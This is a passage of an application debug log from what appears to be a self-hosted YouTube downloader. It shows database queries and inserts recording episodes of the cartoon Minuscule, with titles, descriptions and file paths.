#Minuscule #MinusculeVideos #InsectCartoons", "duration" => 346, "filename" => "/downloads/Miniscule Season 1/2020-06-09 Minuscule - fourmis à la noix⧸Shellproof (Season 1)/Minuscule - fourmis à la noix⧸Shellproof (Season 1) [tg3aAGOs5ec].mkv", "id" => "tg3aAGOs5ec", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=tg3aAGOs5ec", "playlist_index" => 80, "timestamp" => 1591713005, "title" => "Minuscule - fourmis à la noix/Shellproof (Season 1)", "upload_date" => "20200609"} 00:52:04.045 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1399.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:04.046 [debug] QUERY OK source="sources" db=0.3ms idle=1400.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:04.047 [debug] QUERY OK source="media_items" db=1.0ms idle=1401.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-09 14:30:05Z], 4] 00:52:04.055 [debug] QUERY OK source="media_items" db=6.6ms idle=1403.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - fourmis à la noix/Shellproof (Season 1)", "2abd15fb-d9a9-4c76-bbbd-473e7091c263", "tg3aAGOs5ec", 346, false, 4, "https://www.youtube.com/watch?v=tg3aAGOs5ec", 80, "/downloads/Miniscule Season 1/2020-06-09 Minuscule - fourmis à la noix⧸Shellproof (Season 1)/Minuscule - fourmis à la noix⧸Shellproof (Season 1) [tg3aAGOs5ec].mkv", false, false, false, [], 1, ~U[2020-06-09 14:30:05Z], ~U[2025-12-14 07:52:04Z], ~U[2025-12-14 07:52:04Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - fourmis à la noix/Shellproof (Season 1)", "tg3aAGOs5ec", 346, false, 4, "https://www.youtube.com/watch?v=tg3aAGOs5ec", "/downloads/Miniscule Season 1/2020-06-09 Minuscule - fourmis à la noix⧸Shellproof (Season 1)/Minuscule - fourmis à la noix⧸Shellproof (Season 1) [tg3aAGOs5ec].mkv", false, ~U[2020-06-09 14:30:05Z]] 00:52:04.056 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=478.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:04.057 [debug] QUERY OK source="media_profiles" db=0.3ms idle=11.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:04.058 [debug] QUERY OK source="media_items" db=0.4ms idle=11.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89059] 00:52:04.058 [debug] Current batch of media processed. Will check again in 1000ms 00:52:05.059 [debug] Current batch of media processed. Will check again in 1000ms 00:52:06.060 [debug] Current batch of media processed. Will check again in 1000ms 00:52:07.061 [debug] Current batch of media processed. Will check again in 1000ms 00:52:08.062 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 340, "filename" => "/downloads/Miniscule Season 1/2020-06-02 Minuscule - Chenille des Villes Papillon des Champs⧸City Caterpillar (Season 1)/Minuscule - Chenille des Villes Papillon des Champs⧸City Caterpillar (Season 1) [D6yna_jz_9A].mp4", "id" => "D6yna_jz_9A", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=D6yna_jz_9A", "playlist_index" => 81, "timestamp" => 1591108202, "title" => "Minuscule - Chenille des Villes Papillon des Champs/City Caterpillar (Season 1)", "upload_date" => "20200602"} 00:52:08.063 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=477.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:08.064 [debug] QUERY OK source="sources" db=0.3ms idle=418.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:08.065 [debug] QUERY OK source="media_items" db=1.0ms idle=419.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-06-02 14:30:02Z], 4] 00:52:08.093 [debug] QUERY OK source="media_items" db=26.4ms idle=421.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Chenille des Villes Papillon des Champs/City Caterpillar (Season 1)", "393bd5c7-f6c7-4853-9731-c183ae846490", "D6yna_jz_9A", 340, false, 4, "https://www.youtube.com/watch?v=D6yna_jz_9A", 81, "/downloads/Miniscule Season 1/2020-06-02 Minuscule - Chenille des Villes Papillon des Champs⧸City Caterpillar (Season 1)/Minuscule - Chenille des Villes Papillon des Champs⧸City Caterpillar (Season 1) [D6yna_jz_9A].mp4", false, false, false, [], 1, ~U[2020-06-02 14:30:02Z], ~U[2025-12-14 07:52:08Z], ~U[2025-12-14 07:52:08Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Chenille des Villes Papillon des Champs/City Caterpillar (Season 1)", "D6yna_jz_9A", 340, false, 4, "https://www.youtube.com/watch?v=D6yna_jz_9A", "/downloads/Miniscule Season 1/2020-06-02 Minuscule - Chenille des Villes Papillon des Champs⧸City Caterpillar (Season 1)/Minuscule - Chenille des Villes Papillon des Champs⧸City Caterpillar (Season 1) [D6yna_jz_9A].mp4", false, ~U[2020-06-02 14:30:02Z]] 00:52:08.093 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=448.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:08.094 [debug] QUERY OK source="media_profiles" db=0.4ms idle=30.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:08.095 [debug] QUERY OK source="media_items" db=0.4ms idle=30.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89061] 00:52:08.095 [debug] Current batch of media processed. Will check again in 1000ms 00:52:09.097 [debug] Current batch of media processed. Will check again in 1000ms 00:52:10.098 [debug] Current batch of media processed. Will check again in 1000ms 00:52:11.099 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 346, "filename" => "/downloads/Miniscule Season 1/2020-05-26 Minuscule - Bouse au Carré⧸Dung Beetle Blues (season 1)/Minuscule - Bouse au Carré⧸Dung Beetle Blues (season 1) [fZqONwpU-2g].mp4", "id" => "fZqONwpU-2g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=fZqONwpU-2g", "playlist_index" => 82, "timestamp" => 1590503409, "title" => "Minuscule - Bouse au Carré/Dung Beetle Blues (season 1)", "upload_date" => "20200526"} 00:52:11.100 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1454.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:11.101 [debug] QUERY OK source="sources" db=0.3ms idle=1455.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:11.102 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1456.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-26 14:30:09Z], 4] 00:52:11.105 [debug] QUERY OK source="media_items" db=2.1ms idle=1457.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Bouse au Carré/Dung Beetle Blues (season 1)", "a91b0dff-0f20-45db-81ad-f06b3ed569a4", "fZqONwpU-2g", 346, false, 4, "https://www.youtube.com/watch?v=fZqONwpU-2g", 82, "/downloads/Miniscule Season 1/2020-05-26 Minuscule - Bouse au Carré⧸Dung Beetle Blues (season 1)/Minuscule - Bouse au Carré⧸Dung Beetle Blues (season 1) [fZqONwpU-2g].mp4", false, false, false, [], 1, ~U[2020-05-26 14:30:09Z], ~U[2025-12-14 07:52:11Z], ~U[2025-12-14 07:52:11Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Bouse au Carré/Dung Beetle Blues (season 1)", "fZqONwpU-2g", 346, false, 4, "https://www.youtube.com/watch?v=fZqONwpU-2g", "/downloads/Miniscule Season 1/2020-05-26 Minuscule - Bouse au Carré⧸Dung Beetle Blues (season 1)/Minuscule - Bouse au Carré⧸Dung Beetle Blues (season 1) [fZqONwpU-2g].mp4", false, ~U[2020-05-26 14:30:09Z]] 00:52:11.106 [debug] QUERY OK source="sources" db=0.3ms idle=514.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:11.107 [debug] QUERY OK source="media_profiles" db=0.3ms queue=0.1ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 00:52:11.108 [debug] QUERY OK source="media_items" db=0.5ms idle=6.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [89063] 00:52:11.108 [debug] Current batch of media processed. Will check again in 1000ms 00:52:12.109 [debug] Current batch of media processed. Will check again in 1000ms 00:52:13.110 [debug] Current batch of media processed. Will check again in 1000ms 00:52:14.111 [debug] Current batch of media processed. Will check again in 1000ms 00:52:15.112 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.37, "description" => "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "duration" => 346, "filename" => "/downloads/Miniscule Season 1/2020-05-19 Minuscule - Hallowen parano⧸Halloween Paranoid (Season 1)/Minuscule - Hallowen parano⧸Halloween Paranoid (Season 1) [OUOePFPMeAs].mp4", "id" => "OUOePFPMeAs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=OUOePFPMeAs", "playlist_index" => 83, "timestamp" => 1589898603, "title" => "Minuscule - Hallowen parano/Halloween Paranoid (Season 1)", "upload_date" => "20200519"} 00:52:15.113 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=513.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 00:52:15.114 [debug] QUERY OK source="sources" db=0.6ms idle=468.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:52:15.116 [debug] QUERY OK source="media_items" db=1.5ms idle=469.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-05-19 14:30:03Z], 4] 00:52:15.130 [debug] QUERY OK source="media_items" db=12.6ms idle=471.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et 